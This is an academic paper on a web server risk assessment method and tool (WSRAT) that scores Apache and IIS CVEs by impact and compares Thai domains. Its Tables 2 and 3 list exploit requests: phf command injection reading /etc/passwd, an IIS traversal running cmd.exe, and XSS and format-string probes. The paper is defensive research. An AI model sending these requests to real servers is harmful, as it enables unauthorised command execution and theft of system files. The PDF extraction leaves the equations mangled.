High 1 2 3 
Medium 4 5 6 

 
VALUE 

Low 7 8 9 
 

Figure 1. Value-vulnerability grid. 
 
2.4 Web server vulnerability source 

Common Vulnerabilities and Exposures (CVE) [7] is a 
list of standardized names for vulnerabilities and other 
information security exposures, provided by the MITRE 
Corporation. The goal of CVE is to make it easier to share 
data across separate vulnerability databases and security 
tools. An example of the content of each CVE is as shown 
in Table1. 

Table 1. An example of CVE 
CVE Number Description 
CVE 2002 – 0513 The PHP administration script in popper_mod 

1.2.1 and earlier relies on Apache .htaccess 
authentication, which allows remote attackers to 
gain privileges if the script is not appropriately 
configured by the administrator. 

 
CVE Number follows CVE name process. The name 

indicates the year of vulnerability was discovered and a 
running number. As of September 2004, there are 3,052 
unique entries of accepted vulnerability in computer 
system. In this research we choose only vulnerability 
there was effect on Apache and IIS web server. 
 
2.5. Risk assessment 

Risk assessment [8, 9] is the process of examining a 
system and its operational context to determine possible 
exposures and the potential harm they can cause. Risk 
assessment performs in many different contexts; for 
example, environmental and health risk are assessed. Risk 
assessment for computer security system is adapted from 
more general management practices, placing special 
emphasis on the kinds of problems likely to arise from 
security perspective 

Risk assessment determines whether an asset 
should be protected in what level, required assessment of 
the potential threats against that asset and the likelihood 
that they will materialize. The level of protection is a 
probabilistic function of occurring attacks and the effects 
of the attack. This probability shows the rate that the 
attack is likely to successful. If an attack is unlikely to 
success, the priority is lower than the priority of 
protection against a likely one. Theoretically, there are 
three main factors that concern in risk assessment. 

1. Losses associated with an event. The event must 
generate negative effects: compromised security, lost 
time, diminished quality, lost of money, lost of control, 
lost of understanding and etc. These losses are called the 
risk impact. 

2. The probability that the event will occur. There is a 
probability of occurrence associated with each risk called 
risk probability which may change over time. So it is 
important to track them and plan for the event 
accordingly. 

3. The degree of which we can change the outcome. 
We must determine what, if anything, we can do to avoid 
the impact or at least to reduce its effects. Risk control 
involves a set of actions to reduce or eliminate the risk. 

Based on the concept of risk assessment, we propose 
web server vulnerability risk assessment method. We 
describe the method for calculating the probabilities of 
occurrence of the vulnerabilities and purpose a criterion 
for risk impact classification which divides into 
confidentiality integrity and availability. 
 
2.6. HTTP (Hypertext Transfer Protocol) 

The Hypertext Transfer Protocol (HTTP) [10] is the 
protocol used to communicate the World Wide Web 
service over the Internet. There are many extended 
versions of HTTP such as S-HTTP, HTTPS. The HTTP 
protocol is used for two-way communication between a 
web client and a web server. A client sends a HTTP 
request packet to server, and server returns the requested 
data in HTTP response packets, as shown in Figure 2. 
Currently, there are several versions of HTTP protocol, 
which include HTTP/0.9, HTTP/1.0, HTTP/1.0+, 
HTTP/1.1 (current version) and HTTP-NG (draft version) 

 

 
Figure 2. Web server and web client. 

 
Based on the HTTP protocol, we develop a tool for 

sending HTTP requests and receiving response messages 
(status code) for web server vulnerability scanning. 
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3. A web server risk assessment method 

 
 
 
 
 
 
 
 
 
 
 
 
 

 
Figure 3. Web server risk assessment architecture. 

 
There are several components related to risk 

assessment. Figure 3 as shown a web server risk 
assessment architecture consisted of vulnerability, level of 
impact and probability. The formula for calculate the risk 
value is shown in equation 1. 

Risk Value = ∑
=

n

i
iii PWX

1
   …(1) 

iX  is a vulnerability of web server.  In this paper, 
we select Apache and IIS web server since both earn the 
maximum market share of web server in the world [11]. 
Total number of vulnerability in this paper is 33 
vulnerabilities. Its value equals to 1 if vulnerability is 
found, otherwise its value equals to 0. 

iW  is a weighted impact of each vulnerability 
classification by confidentiality, integrity and availability. 
The details will be described more in section 3.2. 

iP  is a probability of each vulnerability occur. The 
details will be described more in section 3.3. 

i  is a sequence of common vulnerability and 
exposures. In this case, we use from 1 to 33 according to 
the number of CVE of Apache and IIS web server that we 
select. 
 
3.1 Scanning vulnerability (

iX ) 
We used HTTP request for scanning vulnerability of 

web server. According to CVE, a list of standardized 
names of publicly known vulnerabilities and the 
information of security exposures, we create a set of 
HTTP request for scanning web server vulnerabilities. 
The examples of requests are show in Table 2 and 3. 
 

Table 2. The request for CVE 1999-0067. 
CVE 1999 – 0067 CGI phf program allows remote command 

execution through shell metacharacters. 
Request Command 
GET /cgi-bin/phf 
GET /cgi-bin/phf.cgi 
GET /cgi-bin/phf?Qalias=x%0a/bin/ls%20 
GET /cgis/phf.cgi?QALIAS=x%0a/bin/cat%20/etc/passwd 
GET /cgi-bin/phf.cgi?QALIAS=x%0a/bin/cat%20/etc/passwd 
GET /cgi-bin/phf?Qalias=%0A/bin/cat%20/etc/passwd 

Table 3. The request for CVE 2000-0886. 
CVE-2000-0886 IIS 5.0 allows remote attackers to execute 

arbitrary commands via a malformed request for 
an executable file whose name is appended with 
operating system commands, aka the "Web 
Server File Request Parsing" vulnerability.. 

Request Command 
GET /bin/..%e0%80%af../..%e0%80%af../winnt/system32/cmd.exe?/c+dir 
GET /%3c/a%3e%3cscript%3ealert(%22xss%22)%3c/script%3e 
GET /%3c/title%3e%3cscript%3ealert(%22xss%22)%3c/script%3e 
GET /%3cscript%3ealert(%22xss%22)%3c/script%3e/ 
GET /%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cwinnt/ 
GET /%a%s%p%d 
GET /%s%s%s 
 
3.2 Level of impact (

iW ) 
According to computer security concern, we classified 

the impact of web server vulnerability into 3 types: 
confidentiality (C), integrity (I), and availability (A). The 
definitions are as follow: 

- Confidentiality ensures the computer assets can only 
be accessed by authorized parties. Only those who should 
access to the information can actually access the data. In 
this context, accessing a piece of information includes not 
only reading but also viewing, printing, or simply 
checking for the existing of the particular asset. 

- Integrity means that assets can only be modified by 
authorized parties or only in authorized ways. 
Modification includes writing, changing of both content 
and status, deleting, and creating. 

- Availability means that assets are accessible to 
authorized parties when they are needed. In other words, 
if a person or system has legitimate access to a particular 
set of objects, that access should not be prevented. 

 
In order to evaluate the web server security, we 

present the weighted conditions for the impact of each 
CVE by loss types, confidentiality, integrity and 
availability as shown in Table 4, 5 and 6, respectively. 
Weight conditions are ranked from 0 to 3, which 0 means 
that CVE has no impact on that particular loss type, 1 
means that CVE has a low impact on that particular loss 
type, 2 means that CVE has a medium impact on that 
particular loss type and 3 means that CVE has a high 
impact on that particular loss type. 

 
Table 4. Weight condition for confidentiality loss 

Weight Conditions 
3 – High Read data from the server with super user privilege. 
2 – Medium Read data from the server with user privilege. 
1 – Low Read data from the server with other user privilege. 
0 – No Impact No impact in this loss type. 

Table 5. Weight condition for integrity loss 
Weight Conditions 
3 – High Change data on server with super user privilege. 
2 – Medium Change data on server with user privilege. 
1 – Low Change data on server with other user privilege. 
0 – No Impact No impact in this loss type. 

Table 6. Weight condition for availability loss 
Weight Conditions 
3 – High Execute command on server with super user 

privilege that command is a serious command such 
as shutdown or restart command. 

RISK 

Vulnerability (
iX ) Probability (

iP ) Level of Impact 
 

(
iW ) 

Confidentiality, 
Integrity, 

Availability 

Calculated from 
other web server in 
real world 

CVE for 
Apache and 

IIS web server 
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2 – Medium Make some service to not available. 
1 – Low Make server to have many data but the server can 

still available. 
0 – No Impact No impact in this loss type. 

 
However, the impact factors of confidentiality, 

integrity and availability for vulnerability may vary 
among organizations according to their security policies 
and concerns. The developed tool allows assessors to 
customize the vulnerabilities impact factor to match the 
security policy of their organization. An example of 
impact for CVE 1999-0067 and CVE2000-0886 are 
shown in Tables 7 and 8 respectively. 

 
Table 7. Impact for CVE 1999-0067 

Confidentiality Integrity Availability 
3 3 3 

 
CVE 1999-0067 allows an attacker to access the web 

server and reads or executes command with super user 
privilege. As a result, we rank it in a high level in every 
loss types. 
 

Table 8. Impact for CVE 2000-0886 
Confidentiality Integrity Availability 

2 2 1 
 

CVE 2000-0886 allows an attacker to execute 
arbitrary command via other user’s privilege. The effect 
on confidentiality and integrity is considered medium 
level. However, attackers may execute operating system 
command that may exploit buffer overflow attacks, so the 
availability impact factor is scored with low level. 

In summary, the weighted impact of vulnerability 
impact can be calculated by integrating all the weight of 
each loss type as shown in equation (2). 

iii AICi WWWW ++=      … (2) 

iW  is a weighted impact of vulnerability. 

iCW is a weighted impact of confidentiality loss. 

iIW  is a weighted impact of integrity loss. 

iAW  is a weighted impact of availability loss. 

i  is a sequence of common vulnerability and 
exposures. 
 
3.3 Probability calculation (

iP ) 
The calculation of probability of finding vulnerabilities 

can be performed by sending HTTP request command to 
web server in the real world, storing the received response 
in database. The responses are then later used for 
calculating the probability with the following equation. 

m

X
P

m

s
i

i

∑
== 1

     …(3) 

iP  is probabilities for each vulnerability. 

iX is a vulnerability of Apache and IIS web server 
from CVE. Total number of vulnerability in this paper is 
33 vulnerabilities. Its value equals to 1 if vulnerability is 
found, otherwise its value equals to 0. 

i  is a sequence of common vulnerability and 
exposures. 

m  is a maximum number of web servers. 
 
3.4 Risk value calculation 

After collecting all data, we can calculate the risk 
value by loss types, as following equation. 

 Risk Value = ∑
=

n

i
iii PWX

1
…(4) or 

Risk Value =∑
=

++
n

i
iAIci PWWWX

iii
1

)(   …(5) 

The risk value calculated from equation 4 or 5 presents 
the risk level of interesting web server. We can compare 
the security level of interesting web server with the 
collecting risk value. The collecting risk value can be 
calculated by individual web server or cluster of web 
server. In this research, we present the comparison of risk 
value under the different domain in Thailand. The result is 
show in section 5. 
 
4. Web server risk assessment tool 
development 

To proof our concept, we develop a web server risk 
assessment tool named, WSRAT. The architecture, main 
function and example of graphic interface presented in 
this section. 
 
4.1 Architecture aspect design 
 

 
 

Figure 4. WSRAT architecture. 
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This architecture design consists of three tiers: the web 
server, the client, and database. The web server tier is an 
interface to web server for obtaining data for calculating 
risk assessment. The client tier acts as a user interface 
module (its function will describe in section 4.2). The 
database tier is used to store the data such as probability, 
impact, vulnerability and requesting command etc. The 
architecture is shown in Figure 4. 
 
4.2 Functional aspect design 

The functional design of WSRAT is organized into 
two subsystems: risk assessment process subsystem and 
risk assessment data management subsystem. The 
WSRAT consists of twelve use cases as shown in    
Figure 5. Risk assessment process subsystem is 
responsible for connecting, sending request and accepting 
response from web servers. Risk assessment data 
management subsystem is responsible for risk calculation, 
use data collected from the first subsystem and the 
predefined information. 
 
 

 
Figure 5. WSRAT functional requirements. 

 
4.3 Graphical user interface design 
 

 
 

Figure 6. An Example of WSRAT’s interface 
 

A snapshot of WSRAT user interface is shown in 
Figure 6. Figure 7 shows an example of the report 
generated from WSRAT. The report includes 3 main 
areas. The first area is the profile of a particular assessed 
web server, the second area is the calculated risk value of 
that web server and the last area is the comparison of risk 
value classified into confidentiality, integrity and 
availability. 
 

 
 

Figure 7. An example of WSRAT’s report 
 
5. Experimental design 

We set up the experiment to investigate the risk of web 
server under the domain name of Thailand (.th). The 
result is the risk values for each domain are categorized 
by confidentiality, integrity, and availability. The 
investigation involves data collecting methods (sending 
HTTP-request commands to web server, and receiving 
HTTP-response messages) and storing the data into 
database for calculating the probability value for later 
assessing other web server. The web servers under the 
domain name of Thailand can be partitioned into 7 
categories [12]. 

1. co.th - for commercial entities and business entities. 
2. in.th - for any kind of organization or individual. 
3. ac.th - for academic institutions. 
4. go.th - for government use, such as ministries or 

agencies of the government. 
5. net.th - for Internet Service Providers (ISPs). 
6. or.th - for non-profit organization. 
7. mi.th - for military use. 
Minimum numbers of selected web servers in every 

domain type are suggested by Bartlett et.al. [13]. They 
give the determining minimum returned sample size for a 
given population size for continuous and categorical data 
for several margin of error and alpha values. We select 
the determining minimum returned sample sizes for the 
margin of error value equal to 0.3 and alpha value equal 
to .05 which are applied to select the numbers of web 
servers in the experimental. The number of population for 
each domain can be found in Table 9. 
 
 
 
 

1 2

3
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Table 9. Population and number of sample 

Domain Type Population  Sample 
go.th 320 85 
net.th 28 12 
in.th 1,313 106 
ac.th 1,007 106 
co.th 10,158 117 
or.th 574 97 
mi.th 15 6 

 
6. Experimental results 

According to the results as shown in Table 10 and 
Figure 8, all domains are likely to have high vulnerability 
in confidentiality than integrity and availability. This 
result supports by National Institute of Standards and 
Technology (NIST) [14] shown that confidentiality has 
the most impact on web server. 
 

Table 10. Risk Value grouped by domain types 

Domain type Confidentiality Integrity Availability Risk 
value 

go.th 2.2606 1.8025 0.6850 4.7481 

net.th 1.4167 1.1250 0.3542 2.8958 

in.th 1.2897 1.0694 0.5583 2.9174 

ac.th 2.3231 2.0143 0.8599 5.1973 

co.th 3.1667 2.7066 1.0678 6.9411 

or.th 2.7999 2.3617 0.7973 5.9589 

mi.th 1.9167 1.7222 0.6944 4.3333 

average in 
all domain 2.1676 1.8288 0.7167 4.7131 
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Figure 8. Risk value for each loss impact  

classify by domain type. 
 
The co.th, or.th and ac.th domains are the three 

topmost domains have the highest vulnerability in all loss 
types respectively. These domains have less security 
concerns than net.th and mi.th. The net.th domains 
provide the Internet service such as web hosting to the 
customer. Security of the system is one of the most 
reliability concerns to the customer. The mi.th domains 
keep information related to the national security so the 
administrator must ensure the system security in a high 
level. 

7. Discussion and conclusion 
In Summary, this paper presents risk assessment 

method by using CVE for Apache and IIS web server as a 
case study. We determine the weighted impact by 
classifying it into confidentiality, integrity and 
availability. Finally, we develop a tool named WSRAT to 
support the risk assessment method, which allows us to 
compare the vulnerabilities of web servers. 

The WSRAT tool can calculate risk value and user is 
able to compare each web server’s risk individually or 
categorically. WSRAT also allows administrator to 
evaluate the level of web server vulnerability for each loss 
type and WSRAT also provides suggestion on how to 
resolve its. Moreover, WSRAT allows assessors to 
customize the vulnerabilities impact factor to match the 
security policy of their organization. 
 
8. Future Work 

From the risk value of each vulnerability loss types, 
formal solutions to protect the system are needed for 
future research. Moreover, many applications currently 
provided by web server use several different protocols, 
such as FTP, SNMP etc. To enhance the risk assessment, 
the proposed method can be applied with other protocols. 
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